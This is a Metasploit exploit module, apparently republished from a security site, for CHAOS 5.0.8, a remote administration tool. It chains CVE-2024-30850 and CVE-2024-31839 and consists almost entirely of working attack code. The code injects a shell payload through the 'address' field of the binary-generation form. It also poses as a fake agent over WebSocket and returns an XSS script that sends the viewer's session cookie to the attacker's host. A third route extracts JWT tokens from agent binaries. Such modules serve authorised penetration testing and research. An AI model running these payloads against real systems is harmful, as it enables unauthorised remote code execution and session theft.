Authored by h00die, chebuya | Site metasploit.com

CHAOS version 5.0.8 is a free and open-source Remote Administration Tool that allows generated binaries to control remote operating systems. The web application contains a remote command execution vulnerability which can be triggered by an authenticated user when generating a new executable. The web application also contains a cross site scripting vulnerability within the view of a returned command being executed on an agent.

advisories | CVE-2024-30850, CVE-2024-31839

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Rex::Proto::Http::WebSocket

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Chaos RAT XSS to RCE',
'Description' => %q{
CHAOS v5.0.8 is a free and open-source Remote Administration Tool that
allows generated binaries to control remote operating systems. The
webapp contains a remote command execution vulnerability which
can be triggered by an authenticated user when generating a new
executable. The webapp also contains an XSS vulnerability within
the view of a returned command being executed on an agent.

Execution can happen through one of three routes:

1. Provided credentials can be used to execute the RCE directly

2. A JWT token from an agent can be provided to emulate a compromised
host. If a logged in user attempts to execute a command on the host
the returned value contains an xss payload.

3. Similar to technique 2, an agent executable can be provided and the
JWT token can be extracted.

Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running
in a docker container.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'chebuya' # original PoC, analysis
],
'References' => [
[ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'],
[ 'URL', 'https://github.com/tiagorlampert/CHAOS'],
[ 'CVE', '2024-31839'], # XSS
[ 'CVE', '2024-30850'] # RCE
],
'Platform' => ['linux', 'unix'],
'Privileged' => false,
'Payload' => { 'BadChars' => ' ' },
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DefaultOptions' => {
'WfsDelay' => 3_600, # 1hr
'URIPATH' => '/' # avoid long URLs in xss payloads
},
'DisclosureDate' => '2024-04-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'User to login with']), # admin
OptString.new('PASSWORD', [ false, 'Password to login with']), # admin
OptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']),
OptString.new('JWT', [ false, 'Agent JWT Token of the malware']),
OptPath.new('AGENT', [ false, 'A Chaos Agent Binary'])
]
)
register_advanced_options(
[
OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']),
OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']),
OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']),
OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]),
]
)
end

def on_request_uri(cli, request)
if request.method == 'GET' && @xss_response_received == false
vprint_status('Received GET request.')
return unless request.uri.include? '='

cookie = request.uri.split('jwt=')[1]
print_good("Received cookie: #{cookie}")
send_response_html(cli, '')
@xss_response_received = true
list_agents(cookie)
rce(cookie)
end
send_response_html(cli, '')
end

def mac_address
@mac_address ||= Faker::Internet.mac_address
@mac_address
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)

return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200

return CheckCode::Detected('Chaos application found') if res.body.include?('<title>CHAOS</title>')

CheckCode::Safe('Chaos application not found')
end

def login
vprint_status('Attempting login')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'auth'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200
res.get_cookies.scan(/jwt=([w._-]+);*/).flatten[0] || ''
end

def rce(cookie)
data = Rex::MIME::Message.new

data.add_part("http://localhost'$(#{payload.encoded})'", nil, nil, 'form-data; name="address"')
data.add_part('8080', nil, nil, 'form-data; name="port"')
data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linux
data.add_part('', nil, nil, 'form-data; name="filename"')
data.add_part('false', nil, nil, 'form-data; name="run_hidden"')

post_data = data.to_s

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'generate'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => "jwt=#{cookie}"
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200
end

def convert_to_int_array(string)
string.bytes.to_a
end

# Retrieve the server's response and pull out the command response. The return value is
# the server's response value (or 1 on failure).
def recv_wsframe_status(wsock)
res = wsock.get_wsframe
return 1 unless res

begin
res_json = JSON.parse(res.payload_data)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')
end
command = res_json['command']
return 1 if command.nil?

command
end

def agent_command_handler(cookie)
vprint_status('WebSocket connecting to receive commands')
headers = {
'Cookie' => "jwt=#{cookie}",
'X-Client' => mac_address
}

wsock = connect_ws(
'uri' => normalize_uri(target_uri.path, 'client'),
'headers' => headers
)

start_time = Time.now.to_i
command = 1
while Time.now.to_i < start_time + datastore['WfsDelay']
begin
Timeout.timeout(datastore['WfsDelay']) do
command = recv_wsframe_status(wsock)
end
rescue Timeout::Error
command = 1
end

next if command == 1

vprint_good("Received agent command '#{command}', sending XSS in return")

data = {
'client_id' => mac_address,
# removed the rickroll from the PoC :(
'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"),
'has_error' => false
}
wsock.put_wsbinary(JSON.generate(data))
end
print_status('Stopping WebSocket connection')
end

def agent_callback_checkin(cookie)
start_time = Time.now.to_i
while Time.now.to_i < start_time + datastore['WfsDelay']
print_status('Performing Callback Checkin')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'health'),
'cookie' => "jwt=#{cookie}"
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200

body = {
hostname: datastore['AGENT_HOSTNAME'],
username: datastore['AGENT_USERNAME'],
user_id: datastore['AGENT_USERID'],
os_name: datastore['AGENT_OS'],
os_arch: 'amd64',
mac_address: mac_address,
local_ip_address: datastore['SRVHOST'],
port: datastore['SRVPORT'].to_s,
fetched_unix: Time.now.to_i
}

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'device'),
'cookie' => "jwt=#{cookie}",
'data' => body.to_json
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200
Rex.sleep(30)
end
print_status('Stopping Callback Checkin')
end

def fake_agent(server_cookie)
# start callback checkins and command handler
@threads = []
@threads << framework.threads.spawn('CHAOS-agent-callback', false) do
agent_callback_checkin(server_cookie)
end
@threads << framework.threads.spawn('CHAOS-agent-command-handler', false) do
agent_command_handler(server_cookie)
end
@threads.map do |t|
t.join
rescue StandardError => e
print_error("Error in CHAOS Rat Threads: #{e}")
end
end

#
# Handle the HTTP request and return a response. Code borrowed from:
# msf/core/exploit/http/server.rb
#
def start_http_service(opts = {})
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
(opts['ServerPort'] || bindport).to_i,
opts['ServerHost'] || bindhost,
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self
},
opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
datastore['SSLCert'],
datastore['SSLCompression'],
datastore['SSLCipher'],
datastore['SSLVersion']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => method(:on_request_uri),
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore['SSL'] ? 'https' : 'http')

netloc = opts['ServerHost'] || bindhost
http_srvport = (opts['ServerPort'] || bindport).to_i
if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{http_srvport}"
else
netloc = "#{netloc}:#{http_srvport}"
end
end
print_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}")

# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end

def list_agents(cookie)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'devices'),
'headers' => {
'cookie' => "jwt=#{cookie}"
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
soup = Nokogiri::HTML(res.body)
rows = soup.css('tr')

agent_table = Rex::Text::Table.new(
'Header' => 'Live Agents',
'Indent' => 1,
'Columns' =>
[
'IP',
'OS',
'Username',
'Hostname',
'MAC'
]
)

rows.each do |row|
cells = row.css('td')
next if cells.length != 7

agent_ip = cells[4].text.strip
hostname = cells[1].text.strip

agent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip]
report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}")
end
print_good('Detected Agents')
print_line(agent_table.to_s)
end

def exploit
unless (datastore['USERNAME'] && datastore['PASSWORD']) ||
datastore['JWT'] ||
datastore['AGENT']
fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required')
end
fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0

@xss_response_received = false

if datastore['USERNAME'] && datastore['PASSWORD']
print_status('Attempting exploitation through direct login')
cookie = login
rce(cookie)
elsif datastore['JWT']
print_status('Attempting exploitation through JWT token')
vprint_status("Fake MAC for agent: #{mac_address}")
start_http_service
fake_agent(datastore['JWT'])
elsif datastore['AGENT']
print_status('Attempting exploitation through Agent')
fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT'])
agent_exe = File.read(datastore['AGENT'])
if agent_exe =~ /main.ServerAddress=(((25[0-5]|(2[0-4]|1d|[1-9]|)d).?b){4})/
server_address = ::Regexp.last_match(1)
vprint_status("Server address: #{server_address}")
end

if agent_exe =~ /main.Port=(d{1,6})/
server_port = ::Regexp.last_match(1)
vprint_status("Server port: #{server_port}")
end

if agent_exe =~ %r{main.Token=([a-zA-Z0-9_.-+/=]*.[a-zA-Z0-9_.-+/=]*.[a-zA-Z0-9_.-+/=]*)}
server_cookie = ::Regexp.last_match(1)
vprint_status("Server JWT Token: #{server_cookie}")
end
fail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookie
vprint_status("Fake MAC for agent: #{mac_address}")
start_http_service
fake_agent(server_cookie)
end
end

def cleanup
# Clean and stop HTTP server
if @http_service
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service = nil
rescue StandardError => e
print_error("Failed to stop http server due to #{e}")
end
end
@threads.each(&:kill) unless @threads.nil? # no need for these anymore
super
end
end